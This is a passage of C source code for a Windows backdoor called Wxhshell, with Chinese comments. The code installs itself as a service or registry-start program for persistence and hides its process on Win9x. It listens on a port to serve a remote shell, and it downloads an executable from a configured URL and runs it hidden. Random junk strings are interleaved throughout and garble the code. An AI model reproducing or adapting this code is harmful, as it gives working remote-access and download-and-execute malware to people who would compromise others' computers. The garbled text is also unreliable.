if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @\%)'WU dI#8CO CloseHandle(hProcess); _V_8p)% b2/N H1A if(strstr(procName,"services")) return 1; // 以服务启动 Y^c,mK^ a`EGx{q( return 0; // 注册表启动 ,E*a$cCw } 1c<CEq:?e% IS0HV$OI // 主模块 )}k?r5g int StartWxhshell(LPSTR lpCmdLine) (PsSE:r}+ { =E{{/%u{{S SOCKET wsl; X YNUss BOOL val=TRUE; r?5@Etpg int port=0; Kh:#S|
struct sockaddr_in door; fcE/ [5RFQ! if(wscfg.ws_autoins) Install(); hVT=j ?~ /+<%,c$n port=atoi(lpCmdLine); A/$KA'jX gq/ePSa if(port<=0) port=wscfg.ws_port; CD8JY iJ 8aZey_Hw;+ WSADATA data; @ V7ooo! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =XacG}_ P[#WHbn if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zeme`/aBb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A5.'h< door.sin_family = AF_INET; q5I4'6NF door.sin_addr.s_addr = inet_addr("127.0.0.1"); &-8-xw#. door.sin_port = htons(port); VHgF#6' F)E7(Un`8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7uv/@(J"$ closesocket(wsl); SVg@xu+ return 1; Kc9mI>u H } t'=~"?T/o e&H<lT if(listen(wsl,2) == INVALID_SOCKET) { j quSR= closesocket(wsl); -9H!j4]T? return 1; S,"ChR } uG(~m_7Hx Wxhshell(wsl); !7ZfT?& WSACleanup(); M[
~2,M&H 3|83Jnh return 0; H%NLL4&wu G7_"^r%c9; } %8}ksl07 Xg!|F[i // 以NT服务方式启动 g]iy-,e VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UwL"%0u { E?m#S DWORD status = 0; YAC zznN DWORD specificError = 0xfffffff; >h!.Gj '9p5UC serviceStatus.dwServiceType = SERVICE_WIN32; SG|i/K|7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; qT<qu(V: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y8~)/)l& serviceStatus.dwWin32ExitCode = 0; 8F\Msx serviceStatus.dwServiceSpecificExitCode = 0; ^cmP serviceStatus.dwCheckPoint = 0; cdtzf:#q serviceStatus.dwWaitHint = 0; B> "r -O #`#aSqGmc hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }PIGj} F/ if (hServiceStatusHandle==0) return; qiKtR +} ! F(c status = GetLastError(); Lq
$4.l[j if (status!=NO_ERROR) ,md7.z]U~ { kJ<Xq
serviceStatus.dwCurrentState = SERVICE_STOPPED; ! ?U^+)^$ serviceStatus.dwCheckPoint = 0; HH~
du serviceStatus.dwWaitHint = 0; Uo[5V|>X6 serviceStatus.dwWin32ExitCode = status; L^al1T serviceStatus.dwServiceSpecificExitCode = specificError; @8M2'R\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Qi1I return; 4\'81"ei } E5[]eg~w%{ pffw5Tc serviceStatus.dwCurrentState = SERVICE_RUNNING; iJKm27 "> serviceStatus.dwCheckPoint = 0; _M]rH<h serviceStatus.dwWaitHint = 0; HAUTCX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @~U6=(+ } %K7EF_% _:=OHURc // 处理NT服务事件,比如:启动、停止 ;!Z7-OZX VOID WINAPI NTServiceHandler(DWORD fdwControl) }`/n2 { KjfKo;T switch(fdwControl) $*)(8C l { L"du"- case SERVICE_CONTROL_STOP: Y <i}"eI* serviceStatus.dwWin32ExitCode = 0; -"dy z( serviceStatus.dwCurrentState = SERVICE_STOPPED; k$x
'v# serviceStatus.dwCheckPoint = 0; f!8m serviceStatus.dwWaitHint = 0; f}ij=Y9 { bvu<IXX=2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); t5v)6| } 8qYGlew, return; U W)&Eky case SERVICE_CONTROL_PAUSE: Hkz~9p serviceStatus.dwCurrentState = SERVICE_PAUSED; @NwM+^ break; ^]!1 'xg case SERVICE_CONTROL_CONTINUE: GKx,6E#JM serviceStatus.dwCurrentState = SERVICE_RUNNING; ?gMrcc/{ break; <9.7 gwzE case SERVICE_CONTROL_INTERROGATE: iXS-EB/ break; M j%|'dZz };
83,1d*` SetServiceStatus(hServiceStatusHandle, &serviceStatus); YGpp:8pen } 70*iJ^| u.4vp]eU // 标准应用程序主函数 ^8*SCM_A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Gp\_(9fc { [W;dguh RTA=|q // 获取操作系统版本 qg:I+"u OsIsNt=GetOsVer(); Y~SlipY_ GetModuleFileName(NULL,ExeFile,MAX_PATH); d47:2Zj HYnq x>L ~ // 从命令行安装 }
9s if(strpbrk(lpCmdLine,"iI")) Install(); a`X&;jH0ef XaS_3d // 下载执行文件 N\e@$1 if(wscfg.ws_downexe) { k^\&.63( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !vp!\Zj7o WinExec(wscfg.ws_filenam,SW_HIDE); j!o3g;j } GfPz^F=ie. ~#km0<r? if(!OsIsNt) { W3/Stt$D // 如果时win9x,隐藏进程并且设置为注册表启动 r<"/P`r HideProc(); .EZ{d StartWxhshell(lpCmdLine); TaO;r=2 } ,fJ(.KI0 else yB{o_1tc if(StartFromService()) 'wnY>hN // 以服务方式启动 @,`=~_J StartServiceCtrlDispatcher(DispatchTable); Z?aR9OTP
else xt0j9{p // 普通方式启动 ^&/&I9z StartWxhshell(lpCmdLine); b!~%a hg=G// return 0; :bDn.`KG# }
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